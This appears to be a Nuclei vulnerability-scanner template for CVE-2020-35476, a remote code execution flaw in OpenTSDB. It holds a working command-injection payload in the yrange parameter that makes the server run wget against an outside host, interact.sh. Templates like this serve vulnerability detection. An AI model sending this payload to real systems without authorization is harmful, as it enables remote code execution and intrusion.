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id : CVE-2020-35476
info :
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name : OpenTSDB <= 2.4.0 - Remote Code Execution
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author : pikpikcu
severity : critical
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description : "OpenTSDB through 2.4.0 and earlier is susceptible to remote code execution via the yrange parameter written to a gnuplot file in the /tmp directory."
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reference :
- https://github.com/OpenTSDB/opentsdb/issues/2051
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- https://nvd.nist.gov/vuln/detail/CVE-2020-35476
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score : 9.8
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cve-id : CVE-2020-35476
cwe-id : CWE-78
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tags : cve,cve2020,opentsdb,rce
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requests :
- method : GET
path :
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- "{{BaseURL}}/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20http://interact.sh%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"
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matchers-condition : and
matchers :
- type : status
status :
- 200
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- type : word
words :
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- plotted
- timing
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- cachehit
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part : body
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condition : and
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- type : word
words :
- application/json
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part : header
# Enhanced by mp on 2022/04/28